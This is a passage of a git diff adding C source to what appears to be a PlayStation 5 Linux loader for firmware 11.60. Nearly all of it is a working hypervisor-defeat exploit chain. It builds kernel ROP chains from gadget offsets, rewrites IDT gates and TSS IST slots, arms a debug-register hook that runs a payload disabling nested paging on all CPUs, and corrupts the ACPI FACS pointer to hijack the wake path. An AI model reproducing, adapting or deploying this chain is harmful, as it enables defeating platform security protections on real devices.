+ candidate->linux_info_va == 0)
+ return -1;
+
+ return 0;
+}
+
+#endif
diff --git a/source/hv_defeat_1160.c b/source/hv_defeat_1160.c
new file mode 100644
index 0000000..702ec8b
--- /dev/null
+++ b/source/hv_defeat_1160.c
@@ -0,0 +1,598 @@
+#include "hv_defeat_1160.h"
+#include "../shellcode_break_hv/break_hv.h"
+#include "../shellcode_break_hv/break_hv_params.h"
+#include "config.h"
+#include "loader_staging_1160.h"
+#include "utils.h"
+#include <machine/segments.h>
+#include <machine/tss.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/cpuset.h>
+#include <unistd.h>
+
+/*
+ * 11.60 resume chain:
+ *
+ * startup_mp DR0 hook -> AP payload at PA 0x3ffff000 -> disable NPT on all
+ * 16 GameOS VMCBs -> stock wake path -> #GP/#SX ROP -> kernel wake blob.
+ *
+ * The DR0 carrier and the AP payload (shellcode_break_hv) are based on
+ * Byepervisor. The #GP/#SX transfer is the same shape as 13.60: it copies the
+ * wake blob from its prepare_resume() alias into the kernel code cave.
+ */
+
+#define FW_1160_RAW 0x11600005U
+#define PS5_PRO_SOC_ID 0x840fd0
+#define NCPU 16
+#define TSS_STRIDE 0x68ULL
+#define TSS_IST(ist) (0x24ULL + ((uint64_t)((ist) - 1) * 8ULL))
+
+#define KH_USER_CS 0x43ULL
+#define KH_USER_SS 0x3bULL
+#define KH_RFLAGS_USER 0x202ULL
+#define KH_DR7_BP0_EXEC 0x403ULL
+#define KH_GATE_INTERRUPT 0xeULL
+
+#define RC_RBP 0x20ULL
+#define RC_RSP 0x28ULL
+#define RC_RIP 0x38ULL
+#define RC_DR7 0xa0ULL
+
+#define AP_PAYLOAD_PAGE 0x3ffff000ULL
+#define AP_COPY_SIZE 0x800ULL
+#define HV_LOADER_PA_REGULAR 0x62800000ULL
+
+#define CAVE_ORACLE_OFF 0x440ULL
+#define CAVE_ARM_OFF 0x1000ULL
+#define CAVE_ARM_CTX_OFF 0x100ULL
+#define CAVE_ARM_CONT_OFF 0x200ULL
+#define CAVE_FALLBACKS_OFF 0x1400ULL
+#define CAVE_HANDLER_OFF 0x2400ULL
+#define CAVE_AP_SOURCE_OFF 0x2800ULL
+#define CAVE_SAVE_OFF 0x3000ULL
+#define CAVE_STASH_OFF 0x3400ULL
+
+#define IRET_OFF 0x20ULL
+#define FRAME_OFF 0x28ULL
+#define STACK_TOP_OFF 0x50ULL
+#define FALLBACK_SIZE 0x100ULL
+
+#define SAVE_STATE 0x00ULL
+#define SAVE_GATE_LO 0x08ULL
+#define SAVE_GATE_HI 0x10ULL
+#define SAVE_ISTS 0x18ULL
+
+#define STATE_ARMED 0x493950524F444152ULL /* "I9PRODAR" */
+#define CHAIN_MARK 0x434841494E2D3031ULL /* "CHAIN-01" */
+
+#define KTEXT_1160_END 0xD30000ULL
+#define CODE_CAVE_CAPACITY (KTEXT_1160_END - 0xD2B000ULL)
+
+_Static_assert(CAVE_ARM_OFF + 0x400 <= CAVE_FALLBACKS_OFF,
+ "DR0 arm overlaps fallbacks");
+_Static_assert(CAVE_FALLBACKS_OFF + 15 * FALLBACK_SIZE <= CAVE_HANDLER_OFF,
+ "fallbacks overlap handler");
+_Static_assert(CAVE_HANDLER_OFF + 0x400 <= CAVE_AP_SOURCE_OFF,
+ "handler overlaps AP source");
+_Static_assert(CAVE_AP_SOURCE_OFF + AP_COPY_SIZE <= CAVE_SAVE_OFF,
+ "AP source overlaps recovery state");
+_Static_assert(CAVE_STASH_OFF + 0x100 <= 0x4000,
+ "result stash exceeds resume cave");
+_Static_assert(sizeof(break_hv_bin) <= AP_COPY_SIZE,
+ "AP payload exceeds AP_COPY_SIZE");
+
+static uint64_t kg(uint64_t offset) { return ktext + offset; }
+
+static int offsets_present(void) {
+ const uint64_t required[] = {
+ env_offset.ACPIGBL_FACS,
+ env_offset.IDT,
+ env_offset.COMMON_TSS,
+ env_offset.KERNEL_CODE_CAVE,
+ env_offset.FUN_MEMCPY,
+ env_offset.HV_MP_STARTUP_CALL,
+ env_offset.MP_STARTUP_INIT_VECTOR,
+ env_offset.DATA_CAVE,
+ env_offset.GAD_ADD_RSP_28_POP_RBP_RET,
+ env_offset.GAD_PIVOT_ADD_RSP28_RET,
+ env_offset.GAD_IRETQ,
+ env_offset.GAD_POP_RAX_RET,
+ env_offset.GAD_POP_RCX_RET,
+ env_offset.GAD_POP_RDI_RET,
+ env_offset.GAD_POP_RSI_RET,
+ env_offset.GAD_POP_RDX_RET,
+ env_offset.GAD_POP_RSP_RET,
+ env_offset.GAD_STORE_RDI8_RCX_RET,
+ env_offset.GAD_SET_DR7_RET,
+ env_offset.GAD_STORE_RCX_RAX_RET,
+ env_offset.GAD_MOV_RAX_RDI_RET,
+ env_offset.GAD_REP_MOVSB_RET,
+ env_offset.GAD_CLD_RET,
+ env_offset.GAD_RET_TRAMP,
+ env_offset.GAD_DBREG_RESUME,
+ env_offset.G_VBIOS,
+ env_offset.FUN_TRANSMITTER_CONTROL,
+ env_offset.FUN_MP3_INITIALIZE,
+ env_offset.FUN_MP3_INVOKE,
+ };
+
+ if (kernel_get_fw_version() != FW_1160_RAW || fw != 0x1160)
+ return 0;
+ if (env_offset.KERNEL_CODE_CAVE != 0xD2B000ULL ||
+ env_offset.DATA_CAVE != 0x2D02000ULL)
+ return 0;
+ for (size_t i = 0; i < sizeof(required) / sizeof(required[0]); i++)
+ if (required[i] == 0)
+ return 0;
+ return 1;
+}
+
+static int pin_to_tss0(void) {
+ uint64_t mask[2] = {0, 0};
+ cpusetid_t set_id;
+
+ if (cpuset(&set_id))
+ return -1;
+ mask[0] = 0xffff;
+ if (cpuset_setaffinity(3, 3, set_id, 8, (const cpuset_t *)mask))
+ return -1;
+
+ /* On 11.60, scheduler CPU 15 uses COMMON_TSS slot zero. */
+ mask[0] = 1ULL << 15;
+ return cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)mask);
+}
+
+static int walk_page(uint64_t va, int clear_nx) {
+ uint64_t table = cr3;
+
+ for (int level = 0; level < 4; level++) {
+ int shift = 39 - level * 9;
+ uint64_t index = (va >> shift) & 0x1ff;
+ uint64_t entry_addr = dmap + PAGE_PA(table) + index * 8;
+ uint64_t entry = kread64(entry_addr);
+
+ if (!PAGE_P(entry))
+ return -1;
+ if (clear_nx && (entry & (1ULL << NX))) {
+ entry &= ~(1ULL << NX);
+ kwrite64(entry_addr, entry);
+ if (kread64(entry_addr) != entry)
+ return -1;
+ }
+ if (entry & (1ULL << NX))
+ return -1;
+ if (((level == 1 || level == 2) && PAGE_PS(entry)) || level == 3)
+ return 0;
+ table = PAGE_PA(entry);
+ }
+ return -1;
+}
+
+static int validate_wake_cave(size_t shellcode_len) {
+ if (shellcode_len == 0 || shellcode_len > CODE_CAVE_CAPACITY)
+ return -1;
+
+ /*
+ * Do not read 11.60 kernel text while NPT is still on: NPT enforces its
+ * execute-only mapping, so clearing the guest XO bit does not make it
+ * readable. [0xD2B000, 0xD30000) is NOP padding in the 11.60 kernel, so
+ * only check that every page of the cave is present and executable.
+ */
+ for (size_t off = 0; off < shellcode_len; off += 0x1000)
+ if (walk_page(kg(env_offset.KERNEL_CODE_CAVE) + off, 0))
+ return -1;
+ return 0;
+}
+
+static uint64_t tss_ist_slot(uint64_t tss_base, int cpu, int ist) {
+ return tss_base + (uint64_t)cpu * TSS_STRIDE + TSS_IST(ist);
+}
+
+static void gate_encode(uint64_t target, uint16_t selector, uint8_t ist,
+ uint64_t *lo, uint64_t *hi) {
+ *lo = (target & 0xffffULL) | ((uint64_t)selector << 16) |
+ ((uint64_t)(ist & 7) << 32) | (KH_GATE_INTERRUPT << 40) | (1ULL << 47) |
+ (((target >> 16) & 0xffffULL) << 48);
+ *hi = (target >> 32) & 0xffffffffULL;
+}
+
+static int verify_tss_layout(uint64_t tss_base, uint64_t saved[NCPU]) {
+ uint64_t rsp0[NCPU];
+ uint64_t ist4[NCPU];
+
+ for (int cpu = 0; cpu < NCPU; cpu++) {
+ uint64_t base = tss_base + (uint64_t)cpu * TSS_STRIDE;
+ rsp0[cpu] = kread64(base + 0x04);
+ ist4[cpu] = kread64(base + TSS_IST(4));
+ saved[cpu] = kread64(tss_ist_slot(tss_base, cpu, 6));
+ if ((rsp0[cpu] >> 47) != 0x1ffffULL || ist4[cpu] == 0 || saved[cpu] != 0)
+ return -1;
+ for (int prior = 0; prior < cpu; prior++)
+ if (rsp0[cpu] == rsp0[prior] || ist4[cpu] == ist4[prior])
+ return -1;
+ }
+ return 0;
+}
+
+static int restore_ists(uint64_t tss_base, const uint64_t saved[NCPU]) {
+ for (int cpu = 0; cpu < NCPU; cpu++)
+ kwrite64(tss_ist_slot(tss_base, cpu, 6), saved[cpu]);
+ for (int cpu = 0; cpu < NCPU; cpu++)
+ if (kread64(tss_ist_slot(tss_base, cpu, 6)) != saved[cpu])
+ return -1;
+ return 0;
+}
+
+static int chain_q(uint8_t *buf, size_t *off, size_t cap, uint64_t value) {
+ if (*off + sizeof(value) > cap)
+ return -1;
+ memcpy(buf + *off, &value, sizeof(value));
+ *off += sizeof(value);
+ return 0;
+}
+
+static int chain_store(uint8_t *buf, size_t *off, size_t cap, uint64_t target,
+ uint64_t value) {
+ return chain_q(buf, off, cap, kg(env_offset.GAD_POP_RDI_RET)) ||
+ chain_q(buf, off, cap, target - 8) ||
+ chain_q(buf, off, cap, kg(env_offset.GAD_POP_RCX_RET)) ||
+ chain_q(buf, off, cap, value) ||
+ chain_q(buf, off, cap, kg(env_offset.GAD_STORE_RDI8_RCX_RET));
+}
+
+static int build_passthrough(uint8_t *stack, uint64_t stack_va) {
+ uint64_t trampoline = stack_va + IRET_OFF;
+ size_t off = STACK_TOP_OFF;
+
+ memset(stack, 0, FALLBACK_SIZE);
+ memcpy(stack + IRET_OFF, &(uint64_t){kg(env_offset.GAD_IRETQ)}, 8);
+ return chain_q(stack, &off, FALLBACK_SIZE, kg(env_offset.GAD_POP_RSP_RET)) ||
+ chain_q(stack, &off, FALLBACK_SIZE, trampoline);
+}
+
+static int build_arm(uint8_t *arm, uint64_t arm_va, uint64_t hook_target,
+ uint64_t selected_ist, uint64_t handler_top) {
+ uint64_t ctx = arm_va + CAVE_ARM_CTX_OFF;
+ uint64_t cont = arm_va + CAVE_ARM_CONT_OFF;
+ size_t off = STACK_TOP_OFF;
+
+ memset(arm, 0, 0x400);
+ if (chain_q(arm, &off, 0x400, kg(env_offset.GAD_POP_RAX_RET)) ||
+ chain_q(arm, &off, 0x400, hook_target) ||
+ chain_q(arm, &off, 0x400, kg(env_offset.GAD_POP_RDI_RET)) ||
+ chain_q(arm, &off, 0x400, ctx) ||
+ chain_q(arm, &off, 0x400, kg(env_offset.GAD_DBREG_RESUME)) ||
+ off > CAVE_ARM_CTX_OFF)
+ return -1;
+
+ memcpy(arm + CAVE_ARM_CTX_OFF + RC_RSP, &(uint64_t){cont - 8}, 8);
+ memcpy(arm + CAVE_ARM_CTX_OFF + RC_RIP,
+ &(uint64_t){kg(env_offset.GAD_RET_TRAMP)}, 8);
+ memcpy(arm + CAVE_ARM_CTX_OFF + RC_DR7, &(uint64_t){KH_DR7_BP0_EXEC}, 8);
+
+ off = CAVE_ARM_CONT_OFF;
+ if (chain_q(arm, &off, 0x400, kg(env_offset.GAD_POP_RDI_RET)) ||
+ chain_q(arm, &off, 0x400, selected_ist - 8) ||
+ chain_q(arm, &off, 0x400, kg(env_offset.GAD_POP_RCX_RET)) ||
+ chain_q(arm, &off, 0x400, handler_top) ||
+ chain_q(arm, &off, 0x400, kg(env_offset.GAD_STORE_RDI8_RCX_RET)) ||
+ chain_q(arm, &off, 0x400, kg(env_offset.GAD_IRETQ)))
+ return -1;
+ off += 5 * sizeof(uint64_t);
+ return off <= 0x400 ? 0 : -1;
+}
+
+static int build_handler(uint8_t *handler, uint64_t handler_va,
+ uint64_t resume_cave, uint64_t db_gate,
+ uint64_t saved_gate_lo, uint64_t kernel_cr3) {
+ uint64_t trampoline = handler_va + IRET_OFF;
+ uint64_t payload_va = dmap + AP_PAYLOAD_PAGE;
+ uint64_t oracle = resume_cave + CAVE_ORACLE_OFF;
+ size_t save_addr_off, restore_rdi_off;
+ size_t off = STACK_TOP_OFF;
+
+ memset(handler, 0, 0x400);
+ memcpy(handler + IRET_OFF, &(uint64_t){kg(env_offset.GAD_IRETQ)}, 8);
+
+ if (chain_q(handler, &off, 0x400, kg(env_offset.GAD_MOV_RAX_RDI_RET)) ||
+ chain_q(handler, &off, 0x400, kg(env_offset.GAD_POP_RCX_RET)))
+ return -1;
+ save_addr_off = off;
+ if (chain_q(handler, &off, 0x400, 0) ||
+ chain_q(handler, &off, 0x400, kg(env_offset.GAD_STORE_RCX_RAX_RET)) ||
+ chain_store(handler, &off, 0x400, db_gate, saved_gate_lo) ||
+ chain_q(handler, &off, 0x400, kg(env_offset.GAD_POP_RAX_RET)) ||
+ chain_q(handler, &off, 0x400, 0) ||
+ chain_q(handler, &off, 0x400, kg(env_offset.GAD_SET_DR7_RET)) ||
+ chain_store(handler, &off, 0x400, oracle + 0x20, CHAIN_MARK))
+ return -1;
+
+ if (chain_q(handler, &off, 0x400, kg(env_offset.GAD_CLD_RET)) ||
+ chain_q(handler, &off, 0x400, kg(env_offset.GAD_POP_RDI_RET)) ||
+ chain_q(handler, &off, 0x400, payload_va) ||
+ chain_q(handler, &off, 0x400, kg(env_offset.GAD_POP_RSI_RET)) ||
+ chain_q(handler, &off, 0x400, resume_cave + CAVE_AP_SOURCE_OFF) ||
+ chain_q(handler, &off, 0x400, kg(env_offset.GAD_POP_RCX_RET)) ||
+ chain_q(handler, &off, 0x400, AP_COPY_SIZE) ||
+ chain_q(handler, &off, 0x400, kg(env_offset.GAD_REP_MOVSB_RET)))
+ return -1;
+
+#define STORE_PARAM(offset, value) \
+ do { \
+ if (chain_store(handler, &off, 0x400, dmap + AP_PAYLOAD_PAGE + (offset), \
+ (value))) \
+ return -1; \
+ } while (0)
+ STORE_PARAM(0xf00, kg(env_offset.MP_STARTUP_INIT_VECTOR));
+ STORE_PARAM(0xf08, dmap);
+ STORE_PARAM(0xf10, oracle);
+ STORE_PARAM(0xf18, HV_LOADER_PA_REGULAR);
+ STORE_PARAM(0xf20, resume_cave + CAVE_STASH_OFF);
+ STORE_PARAM(0xf28, payload_va);
+ STORE_PARAM(0xf30, kernel_cr3);
+ STORE_PARAM(0xf38, AP_MODE_1160);
+#undef STORE_PARAM
+
+ if (chain_q(handler, &off, 0x400, kg(env_offset.GAD_POP_RDI_RET)))
+ return -1;
+ restore_rdi_off = off;
+ if (chain_q(handler, &off, 0x400, 0) ||
+ chain_q(handler, &off, 0x400, kg(env_offset.GAD_POP_RSI_RET)) ||
+ chain_q(handler, &off, 0x400, payload_va) ||
+ chain_q(handler, &off, 0x400, kg(env_offset.GAD_POP_RDX_RET)) ||
+ chain_q(handler, &off, 0x400, kernel_cr3) ||
+ chain_q(handler, &off, 0x400, kg(env_offset.GAD_POP_RSP_RET)) ||
+ chain_q(handler, &off, 0x400, trampoline))
+ return -1;
+
+ memcpy(handler + save_addr_off, &(uint64_t){handler_va + restore_rdi_off}, 8);
+ return 0;
+}
+
+__attribute__((noinline)) static void
+arm_dr0_and_return(uint64_t db_gate, uint64_t gate_lo, uint64_t arm_ctx,
+ uint64_t return_frame) {
+ uint64_t rsp, rbx, rbp, r12, r13, r14, r15;
+ void *resume_label = &&resumed;
+
+ __asm__ volatile("mov %%rsp,%0" : "=r"(rsp));
+ __asm__ volatile("mov %%rbx,%0" : "=r"(rbx));
+ __asm__ volatile("mov %%rbp,%0" : "=r"(rbp));
+ __asm__ volatile("mov %%r12,%0" : "=r"(r12));
+ __asm__ volatile("mov %%r13,%0" : "=r"(r13));
+ __asm__ volatile("mov %%r14,%0" : "=r"(r14));
+ __asm__ volatile("mov %%r15,%0" : "=r"(r15));
+
+ kwrite64(arm_ctx + 0x00, r15);
+ kwrite64(arm_ctx + 0x08, r14);
+ kwrite64(arm_ctx + 0x10, r13);
+ kwrite64(arm_ctx + 0x18, r12);
+ kwrite64(arm_ctx + RC_RBP, rbp);
+ kwrite64(arm_ctx + RC_RSP, return_frame - 7 * sizeof(uint64_t));
+ kwrite64(arm_ctx + 0x30, rbx);
+ kwrite64(arm_ctx + RC_RIP, kg(env_offset.GAD_RET_TRAMP));
+
+ kwrite64(return_frame + 0x00, (uint64_t)resume_label);
+ kwrite64(return_frame + 0x08, KH_USER_CS);
+ kwrite64(return_frame + 0x10, KH_RFLAGS_USER);
+ kwrite64(return_frame + 0x18, rsp);
+ kwrite64(return_frame + 0x20, KH_USER_SS);
+
+ kwrite64(db_gate, gate_lo);
+ __asm__ volatile("pushfq\n\t"
+ "orq $0x100, (%%rsp)\n\t"
+ "popfq\n\t"
+ "nop\n\t"
+ :
+ :
+ : "memory", "cc");
+resumed:
+ return;
+}
+
+static int arm_startup_carrier(uint64_t resume_cave) {
+ uint64_t tss_base = kg(env_offset.COMMON_TSS);
+ uint64_t db_gate = kg(env_offset.IDT) + 16;
+ uint64_t arm_va = resume_cave + CAVE_ARM_OFF;
+ uint64_t handler_va = resume_cave + CAVE_HANDLER_OFF;
+ uint64_t hook_target = kg(env_offset.HV_MP_STARTUP_CALL);
+ uint64_t saved_gate_lo = kread64(db_gate);
+ uint64_t saved_gate_hi = kread64(db_gate + 8);
+ uint64_t gate_lo, gate_hi;
+ uint64_t saved_ist[NCPU];
+ uint8_t arm[0x400], handler[0x400], fallback[FALLBACK_SIZE];
+ uint8_t staged[AP_COPY_SIZE], verify[0x400];
+
+ if (break_hv_bin_len == 0 || break_hv_bin_len > sizeof(staged) ||
+ kread64(resume_cave + CAVE_SAVE_OFF + SAVE_STATE) != 0)
+ return -1;
+ if (!((saved_gate_lo >> 47) & 1) || ((saved_gate_lo >> 32) & 7) != 4 ||
+ verify_tss_layout(tss_base, saved_ist))
+ return -2;
+
+ gate_encode(kg(env_offset.GAD_PIVOT_ADD_RSP28_RET),
+ (uint16_t)(saved_gate_lo >> 16), 6, &gate_lo, &gate_hi);
+ if (gate_hi != saved_gate_hi)
+ return -3;
+
+ memset(staged, 0, sizeof(staged));
+ memcpy(staged, break_hv_bin, break_hv_bin_len);
+ kwrite(resume_cave + CAVE_AP_SOURCE_OFF, staged, sizeof(staged));
+ for (size_t checked = 0; checked < sizeof(staged);
+ checked += sizeof(verify)) {
+ kread(resume_cave + CAVE_AP_SOURCE_OFF + checked, verify, sizeof(verify));
+ if (memcmp(verify, staged + checked, sizeof(verify)) != 0)
+ return -4;
+ }
+
+ if (build_arm(arm, arm_va, hook_target, tss_ist_slot(tss_base, 0, 6),
+ handler_va + STACK_TOP_OFF) ||
+ build_handler(handler, handler_va, resume_cave, db_gate, saved_gate_lo,
+ cr3))
+ return -5;
+
+ kwrite(arm_va, arm, sizeof(arm));
+ kwrite(handler_va, handler, sizeof(handler));
+ kread(arm_va, verify, sizeof(verify));
+ if (memcmp(verify, arm, sizeof(verify)) != 0)
+ return -6;
+ kread(handler_va, verify, sizeof(verify));
+ if (memcmp(verify, handler, sizeof(verify)) != 0)
+ return -6;
+
+ for (int cpu = 1; cpu < NCPU; cpu++) {
+ uint64_t va =
+ resume_cave + CAVE_FALLBACKS_OFF + (uint64_t)(cpu - 1) * FALLBACK_SIZE;
+ if (build_passthrough(fallback, va))
+ return -7;
+ kwrite(va, fallback, sizeof(fallback));
+ kread(va, verify, sizeof(fallback));
+ if (memcmp(verify, fallback, sizeof(fallback)) != 0)
+ return -7;
+ }
+
+ kwrite64(resume_cave + CAVE_SAVE_OFF + SAVE_GATE_LO, saved_gate_lo);
+ kwrite64(resume_cave + CAVE_SAVE_OFF + SAVE_GATE_HI, saved_gate_hi);
+ for (int cpu = 0; cpu < NCPU; cpu++)
+ kwrite64(resume_cave + CAVE_SAVE_OFF + SAVE_ISTS + (uint64_t)cpu * 8,
+ saved_ist[cpu]);
+ kwrite64(resume_cave + CAVE_SAVE_OFF + SAVE_STATE, STATE_ARMED);
+ if (kread64(resume_cave + CAVE_SAVE_OFF + SAVE_STATE) != STATE_ARMED)
+ return -8;
+
+ kwrite64(tss_ist_slot(tss_base, 0, 6), arm_va + STACK_TOP_OFF);
+ for (int cpu = 1; cpu < NCPU; cpu++) {
+ uint64_t top = resume_cave + CAVE_FALLBACKS_OFF +
+ (uint64_t)(cpu - 1) * FALLBACK_SIZE + STACK_TOP_OFF;
+ kwrite64(tss_ist_slot(tss_base, cpu, 6), top);
+ }
+ for (int cpu = 0; cpu < NCPU; cpu++) {
+ uint64_t want = cpu == 0 ? arm_va + STACK_TOP_OFF
+ : resume_cave + CAVE_FALLBACKS_OFF +
+ (uint64_t)(cpu - 1) * FALLBACK_SIZE +
+ STACK_TOP_OFF;
+ if (kread64(tss_ist_slot(tss_base, cpu, 6)) != want) {
+ if (restore_ists(tss_base, saved_ist)) {
+ notify("11.60 IST6 rollback readback failed; cold reboot required\n");
+ return -10;
+ }
+ kwrite64(resume_cave + CAVE_SAVE_OFF + SAVE_STATE, 0);
+ if (kread64(resume_cave + CAVE_SAVE_OFF + SAVE_STATE) != 0) {
+ notify("11.60 carrier-state rollback failed; cold reboot required\n");
+ return -10;
+ }
+ return -9;
+ }
+ }
+
+ arm_dr0_and_return(db_gate, gate_lo, arm_va + CAVE_ARM_CTX_OFF,
+ arm_va + CAVE_ARM_CONT_OFF + 6 * sizeof(uint64_t));
+ return 0;
+}
+
+static int build_sx_rop(uint64_t ist, size_t shellcode_len) {
+ uint64_t rop[16] = {0};
+ uint64_t *p = rop;
+
+ /* The same transfer sequence as 13.xx. Its three UART debug writes use an
+ * OR [rcx],eax gadget that the 11.60 kernel does not have, so they are left
+ * out. */
+ *p++ = kg(env_offset.GAD_POP_RDI_RET);
+ *p++ = kg(env_offset.KERNEL_CODE_CAVE);
+ *p++ = kg(env_offset.GAD_POP_RSI_RET);
+ *p++ = kernel_cave_shellcode;
+ *p++ = kg(env_offset.GAD_POP_RDX_RET);
+ *p++ = shellcode_len;
+ *p++ = kg(env_offset.FUN_MEMCPY);
+ *p++ = kg(env_offset.KERNEL_CODE_CAVE);
+
+ kwrite(ist + 0x1000, rop, (size_t)((uint8_t *)p - (uint8_t *)rop));
+ return 0;
+}
+
+static void setidt(int vector, uint64_t handler, int ist) {
+ struct gate_descriptor gate = {0};
+ gate.gd_looffset = handler;
+ gate.gd_selector = GSEL(GCODE_SEL, SEL_KPL);
+ gate.gd_ist = ist;
+ gate.gd_type = SDT_SYSIGT;
+ gate.gd_dpl = SEL_KPL;
+ gate.gd_p = 1;
+ gate.gd_hioffset = handler >> 16;
+ kwrite(kg(env_offset.IDT) + (uint64_t)vector * sizeof(struct gate_descriptor),
+ &gate, sizeof(gate));
+}
+
+int hv_defeat_1160(void *shellcode_kernel, size_t shellcode_kernel_len) {
+ uint64_t resume_cave, sx_ist, facs;
+ uint64_t zeroes[16] = {0};
+ int rc;
+
+ if (shellcode_kernel == NULL || !offsets_present()) {
+ notify("11.60 offsets/raw firmware gate failed; refusing to arm\n");
+ return -1;
+ }
+ if (sceKernelGetMainSocId() == PS5_PRO_SOC_ID) {
+ notify("11.60 AP payload refused on unvalidated PS5 Pro layout\n");
+ return -1;
+ }
+ if (validate_wake_cave(shellcode_kernel_len)) {
+ notify("11.60 wake blob/cave mapping validation failed\n");
+ return -1;
+ }
+
+ facs = kread64(kg(env_offset.ACPIGBL_FACS));
+ if ((facs >> 48) != 0xffffULL) {
+ notify("11.60 AcpiGbl_FACS validation failed; refusing to arm\n");
+ return -1;
+ }
+
+ kernel_set_ucred_authid(getpid(), 0x4800000000000007ULL);
+ if (pin_to_tss0() || sceKernelGetCurrentCpu() != 15) {
+ notify("11.60 could not pin scheduler CPU 15 / TSS slot zero\n");
+ return -1;
+ }
+
+ if (walk_page(dmap + AP_PAYLOAD_PAGE, 1)) {
+ notify("11.60 startup-AP carrier page is not executable\n");
+ return -1;
+ }
+
+ /* The wake blob runs on this page while it copies Linux into the cave, so
+ * staging took it and checked it, and the page under it, before it wrote
+ * anything. See take_sx_stack_page_1160. */
+ sx_ist = pa_to_dmap(sx_stack_page_1160());
+ if (sx_ist == dmap || build_sx_rop(sx_ist, shellcode_kernel_len))
+ return -1;
+
+ resume_cave = kg(env_offset.DATA_CAVE);
+ if (kread64(resume_cave + CAVE_SAVE_OFF + SAVE_STATE) != 0) {
+ notify("11.60 resume carrier has stale state; cold reboot required\n");
+ return -1;
+ }
+ kwrite(resume_cave + CAVE_ORACLE_OFF, zeroes, sizeof(zeroes));
+ kwrite(resume_cave + CAVE_STASH_OFF, zeroes, sizeof(zeroes));
+
+ rc = arm_startup_carrier(resume_cave);
+ if (rc) {
+ notify("11.60 startup-AP carrier refused to arm (%d)\n", rc);
+ return -1;
+ }
+
+ kwrite64(kg(env_offset.COMMON_TSS) + TSS_IST(7), sx_ist + 0x1000);
+ /* #GP and #SX use a six-qword IST frame, so the final pivot
+ * (add rsp,0x28; pop rbp; ret) advances all 0x30 bytes before entering the
+ * ROP chain. The no-pop pivot above is only for the #DB startup carrier,
+ * which has no error code. */
+ setidt(13, kg(env_offset.GAD_ADD_RSP_28_POP_RBP_RET), 7);
+ setidt(30, kg(env_offset.GAD_ADD_RSP_28_POP_RBP_RET), 7);
+
+ /* As on 13.60, corrupt the FACS pointer so the stock wake path reaches
+ * the #GP/#SX copy-and-transfer chain after NPT has been disabled. */
+ kwrite64(kg(env_offset.ACPIGBL_FACS), kg(env_offset.ACPIGBL_FACS) - 8);
+
+ notify("11.60 Linux wake chain armed\n");
+ return 0;
+}
diff --git a/source/loader.c b/source/loader.c
index 53b63c8..b63e881 100644
--- a/source/loader.c
+++ b/source/loader.c
@@ -2,6 +2,7 @@
#include "config.h"
#include "firmware.h"
#include "linux.h"
+#include "loader_staging_1160.h"
#include "utils.h"
#include <fcntl.h>
#include <stdio.h>
@@ -203,6 +204,26 @@ int fetch_linux(struct linux_info *info) {
info->kit_type = (int)get_kit_type();
strcpy(info->cmdline, cmdline);
+ if (fw == 0x1160) {
+ // 11.60 stages the aliases with a checked, journaled transaction instead
+ // of the install_page_syscore loop below.
+ int staged = stage_linux_aliases_1160(
+ info, bzimage, ALIGN_UP(bzimage_size, PAGE_SIZE), initrd,
+ ALIGN_UP(initrd_size, PAGE_SIZE));
+ if (staged) {
+ if (staged == STAGING_REBOOT_FIRST_1160)
+ notify("11.60 Linux alias staging failed. Nothing is armed. Cold "
+ "reboot before trying again.\n");
+ else
+ notify("11.60 Linux alias staging failed. Nothing is armed, so the "
+ "loader can be run again.\n");
+ munmap(initrd, ALIGN_UP(initrd_size, PAGE_SIZE));
+ munmap(bzimage, ALIGN_UP(bzimage_size, PAGE_SIZE));
+ return -1;
+ }
+ return 0;
+ }
+
uint64_t page = alloc_page();
kwrite(pa_to_dmap(page), info, sizeof(struct linux_info));
install_page_syscore(kernel_cave_linux_info, page, 0);
diff --git a/source/loader_staging_1160.c b/source/loader_staging_1160.c
new file mode 100644
index 0000000..7fa5431
--- /dev/null
+++ b/source/loader_staging_1160.c
@@ -0,0 +1,829 @@
+#include "loader_staging_1160.h"
+
+#include "config.h"
+#include "utils.h"
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <unistd.h>
+
+#define X86_PAGE_SIZE 0x1000ULL
+#define TABLE_FLAGS (PG_B_P | PG_B_RW)
+#define MAX_COMBINED_MAPPING (160ULL * 1024ULL * 1024ULL)
+
+static_assert(PAGE_SIZE == X86_PAGE_SIZE * 4,
+ "11.60 staging requires four 4-KiB frames per logical page");
+
+/*
+ * The wake blob writes [cave, cave_bzImage + bzImage + initrd) through DMAP
+ * before Linux starts: HV page tables and code, linux_info, bzImage, initrd.
+ * The larger the boot files, the more of memory this covers, so refuse
+ * anything the blob still needs that the copy would overwrite first: a source
+ * page, linux_info, the alias and DMAP page tables, PID 1's PML4, the kernel
+ * code cave the blob runs from and its #SX stack.
+ */
+static_assert(cave_bzImage + MAX_COMBINED_MAPPING <=
+ hv_base_rsp - hv_stack_size,
+ "staged Linux files would reach the HV stacks");
+static_assert(cave_bzImage + MAX_COMBINED_MAPPING <= cave + 0x40000000ULL,
+ "staged Linux files would leave the HV identity leaf");
+
+/* CODE_CAVE_CAPACITY in hv_defeat_1160.c; the Makefile holds the wake blob,
+ * with its args and globals, to the same 20480 bytes. */
+#define WAKE_CAVE_SIZE_1160 0x5000ULL
+#define SX_STACK_BATCH_1160 16
+#define SX_STACK_ROUNDS_1160 8
+#define TABLE_ATTEMPTS_1160 16
+
+static uint64_t wake_copy_end_1160;
+/* Taken in take_sx_stack_page_1160, before any write. */
+static uint64_t sx_stack_pa_1160;
+/* Set when a refusal is about something that stays put until a reboot. */
+static int refused_until_reboot_1160;
+
+/* Nonzero when the 16-KiB page at pa overlaps the range the wake blob copies
+ * Linux into. Valid after stage_linux_aliases_1160 has started. */
+static int pa_in_wake_copy_1160(uint64_t pa) {
+ return wake_copy_end_1160 != 0 && pa < wake_copy_end_1160 &&
+ pa + PAGE_SIZE > cave;
+}
+
+int pa_under_sx_stack_1160(uint64_t pa) {
+ return sx_stack_pa_1160 != 0 && pa < sx_stack_pa_1160 &&
+ pa + PAGE_SIZE > sx_stack_pa_1160 - PAGE_SIZE;
+}
+
+uint64_t sx_stack_page_1160(void) { return sx_stack_pa_1160; }
+
+/*
+ * The copy runs forward: linux_info, then bzImage and initrd page by page, so
+ * logical page i >= 1 lands at cave_bzImage + (i - 1) * PAGE_SIZE. A bzImage
+ * or initrd page is read before the copy reaches anything at or above the end
+ * of its own destination. linux_info, which also holds the MP3 buffers, is
+ * used until Linux starts and has to be outside the whole range.
+ */
